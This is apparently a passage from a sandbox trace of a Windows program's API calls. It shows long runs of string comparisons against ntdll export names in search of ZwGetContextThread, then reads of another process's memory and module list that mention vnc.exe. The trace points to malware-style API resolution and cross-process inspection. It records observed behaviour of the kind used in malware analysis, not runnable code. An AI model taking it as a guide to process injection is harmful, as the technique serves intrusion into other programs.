(lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="ZwGetContextThread") returned -1 [0136.114] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="ZwGetContextThread") returned -1 [0136.114] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="ApiSetQueryApiSetPresence", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="CsrClientCallServer", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="CsrGetProcessId", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="DbgBreakPoint", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="DbgPrint", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="DbgPrintEx", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="DbgPrompt", lpString2="ZwGetContextThread") returned -1 [0136.115] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="ZwGetContextThread") returned -1 [0136.116] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="ZwGetContextThread") returned -1 [0136.116] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="ZwGetContextThread") returned -1 [0136.116] lstrcmpA (lpString1="DbgUiContinue", lpString2="ZwGetContextThread") returned -1 [0136.116] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="ZwGetContextThread") returned -1 [0136.116] lstrcmpA (lpString1="DbgUiConvertStateChangeStructureEx", lpString2="ZwGetContextThread") returned -1 [0136.116] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="ZwGetContextThread") returned -1 [0136.116] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="ZwGetContextThread") returned -1 [0136.116] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="ZwGetContextThread") returned -1 [0136.116] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="ZwGetContextThread") returned -1 [0136.116] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="ZwGetContextThread") returned -1 [0136.116] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="ZwGetContextThread") returned -1 [0136.116] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="ZwGetContextThread") returned -1 [0136.116] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="ZwGetContextThread") returned -1 [0136.116] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="ZwGetContextThread") returned -1 [0136.116] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="ZwGetContextThread") returned -1 [0136.116] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="ZwGetContextThread") returned -1 [0136.116] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwEventEnabled", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwEventRegister", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwEventSetInformation", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwEventUnregister", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwEventWrite", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwEventWriteString", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="ZwGetContextThread") returned -1 [0136.117] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="EtwReplyNotification", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="EtwSendNotification", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="EtwSetMark", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="EtwTraceMessage", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="ZwGetContextThread") returned -1 [0136.118] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="KiUserInvertedFunctionTable", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrAccessResource", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrAddDllDirectory", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrAddRefDll", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrAppxHandleIntegrityFailure", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrEnumResources", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrFastFailInLoaderCallout", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrFindResource_U", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrGetDllDirectory", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrGetDllFullName", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="ZwGetContextThread") returned -1 [0136.119] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrGetDllPath", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrGetFailureData", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrGetKnownDllSectionHandle", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrGetProcedureAddressEx", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrGetProcedureAddressForCaller", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrInitShimEngineDynamic", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrInitializeThunk", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrLoadAlternateResourceModule", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrLoadAlternateResourceModuleEx", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrLoadDll", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrLockLoaderLock", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrOpenImageFileOptionsKey", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrProcessInitializationComplete", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrProcessRelocationBlock", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrProcessRelocationBlockEx", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrQueryImageFileExecutionOptions", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrQueryImageFileExecutionOptionsEx", lpString2="ZwGetContextThread") returned -1 [0136.120] lstrcmpA (lpString1="LdrQueryImageFileKeyOption", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrQueryModuleServiceTags", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrQueryOptionalDelayLoadedAPI", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrQueryProcessModuleInformation", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrRegisterDllNotification", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrRemoveDllDirectory", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrRemoveLoadAsDataTable", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrResFindResource", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrResFindResourceDirectory", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrResGetRCConfig", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrResRelease", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrResSearchResource", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrResolveDelayLoadedAPI", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrResolveDelayLoadsFromDll", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrRscIsTypeExist", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrSetAppCompatDllRedirectionCallback", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrSetDefaultDllDirectories", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrSetDllDirectory", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrSetDllManifestProber", lpString2="ZwGetContextThread") returned -1 [0136.121] lstrcmpA (lpString1="LdrSetImplicitPathOptions", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="LdrSetMUICacheType", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="LdrShutdownProcess", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="LdrShutdownThread", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="LdrStandardizeSystemPath", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="LdrSystemDllInitBlock", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="LdrUnloadAlternateResourceModule", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="LdrUnloadAlternateResourceModuleEx", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="LdrUnloadDll", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="LdrUnlockLoaderLock", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="LdrUnregisterDllNotification", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="LdrVerifyImageMatchesChecksum", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="LdrVerifyImageMatchesChecksumEx", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="LdrpResGetMappingSize", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="LdrpResGetResourceDirectory", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="MD4Final", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="MD4Init", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="MD4Update", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="MD5Final", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="MD5Init", lpString2="ZwGetContextThread") returned -1 [0136.122] lstrcmpA (lpString1="MD5Update", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NlsAnsiCodePage", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NlsMbCodePageTag", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NlsMbOemCodePageTag", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAcceptConnectPort", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAccessCheck", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAccessCheckAndAuditAlarm", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAccessCheckByType", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAccessCheckByTypeAndAuditAlarm", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAccessCheckByTypeResultList", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAccessCheckByTypeResultListAndAuditAlarm", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAccessCheckByTypeResultListAndAuditAlarmByHandle", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAddAtom", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAddAtomEx", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAddBootEntry", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAddDriverEntry", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAdjustGroupsToken", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAdjustPrivilegesToken", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAdjustTokenClaimsAndDeviceGroups", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAlertResumeThread", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAlertThread", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAlertThreadByThreadId", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAllocateLocallyUniqueId", lpString2="ZwGetContextThread") returned -1 [0136.123] lstrcmpA (lpString1="NtAllocateReserveObject", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAllocateUserPhysicalPages", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAllocateUuids", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAllocateVirtualMemory", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcAcceptConnectPort", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcCancelMessage", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcConnectPort", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcConnectPortEx", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcCreatePort", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcCreatePortSection", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcCreateResourceReserve", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcCreateSectionView", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcCreateSecurityContext", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcDeletePortSection", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcDeleteResourceReserve", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcDeleteSectionView", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcDeleteSecurityContext", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcDisconnectPort", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcImpersonateClientContainerOfPort", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcImpersonateClientOfPort", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcOpenSenderProcess", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcOpenSenderThread", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcQueryInformation", lpString2="ZwGetContextThread") returned -1 [0136.124] lstrcmpA (lpString1="NtAlpcQueryInformationMessage", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtAlpcRevokeSecurityContext", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtAlpcSendWaitReceivePort", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtAlpcSetInformation", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtApphelpCacheControl", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtAreMappedFilesTheSame", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtAssignProcessToJobObject", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtAssociateWaitCompletionPacket", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtCallbackReturn", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtCancelIoFile", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtCancelIoFileEx", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtCancelSynchronousIoFile", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtCancelTimer", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtCancelTimer2", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtCancelWaitCompletionPacket", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtClearEvent", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtClose", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtCloseObjectAuditAlarm", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtCommitComplete", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtCommitEnlistment", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtCommitTransaction", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtCompactKeys", lpString2="ZwGetContextThread") returned -1 [0136.125] lstrcmpA (lpString1="NtCompareObjects", lpString2="ZwGetContextThread") returned -1 [0136.126] lstrcmpA (lpString1="NtCompareTokens", lpString2="ZwGetContextThread") returned -1 [0136.126] lstrcmpA (lpString1="NtCompleteConnectPort", lpString2="ZwGetContextThread") returned -1 [0136.126] lstrcmpA (lpString1="NtCompressKey", lpString2="ZwGetContextThread") returned -1 [0136.126] lstrcmpA (lpString1="NtConnectPort", lpString2="ZwGetContextThread") returned -1 [0136.126] lstrcmpA (lpString1="NtContinue", lpString2="ZwGetContextThread") returned -1 [0136.126] VirtualFree (lpAddress=0x24f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.192] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0136.192] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0136.192] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x17c, ProcessInformationClass=0x0, ProcessInformation64=0x18ea58, ProcessInformationLength=0x30, ReturnLength=0x18eab0 | out: ProcessInformation64=0x18ea58, ReturnLength=0x18eab0) returned 0x0 [0136.192] LocalAlloc (uFlags=0x0, uBytes=0x200) returned 0x7392a0 [0136.192] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x72e060 [0136.193] LocalFree (hMem=0x7392a0) returned 0x0 [0136.193] LocalFree (hMem=0x72e060) returned 0x0 [0136.193] VirtualAlloc (lpAddress=0x0, dwSize=0x5a4, flAllocationType=0x3000, flProtect=0x4) returned 0x830000 [0136.194] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0136.194] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0136.194] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x17c, ProcessInformationClass=0x0, ProcessInformation64=0x18ea58, ProcessInformationLength=0x30, ReturnLength=0x18eab0 | out: ProcessInformation64=0x18ea58, ReturnLength=0x18eab0) returned 0x0 [0136.194] LocalAlloc (uFlags=0x0, uBytes=0x200) returned 0x7392a0 [0136.194] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x72e060 [0136.194] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x3a8000, Buffer=0x0, BufferSize=0x72e060, NumberOfBytesRead=0x28 | out: Buffer=0x0, NumberOfBytesRead=0x28) returned 0x0 [0136.194] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf08e5200, Buffer=0x7fff, BufferSize=0x72e088, NumberOfBytesRead=0x40 | out: Buffer=0x7fff, NumberOfBytesRead=0x40) returned 0x0 [0136.194] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1ce0, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0136.194] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1918, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x58 | out: Buffer=0x0, NumberOfBytesRead=0x58) returned 0x0 [0136.195] StrRChrA (lpStart="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\vnc.exe", lpEnd=0x0, wMatch=0x5c) returned="\\vnc.exe" [0136.195] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1b60, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0136.195] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1a60, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x3a | out: Buffer=0x0, NumberOfBytesRead=0x3a) returned 0x0 [0136.195] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0136.195] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2180, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0136.195] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2300, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x3a | out: Buffer=0x0, NumberOfBytesRead=0x3a) returned 0x0 [0136.195] StrRChrA (lpStart="C:\\Windows\\system32\\wow64.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64.dll" [0136.195] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2460, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0136.195] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b25e0, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x40 | out: Buffer=0x0, NumberOfBytesRead=0x40) returned 0x0 [0136.195] StrRChrA (lpStart="C:\\Windows\\system32\\wow64win.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64win.dll" [0136.195] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2630, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0136.195] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2100, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x40 | out: 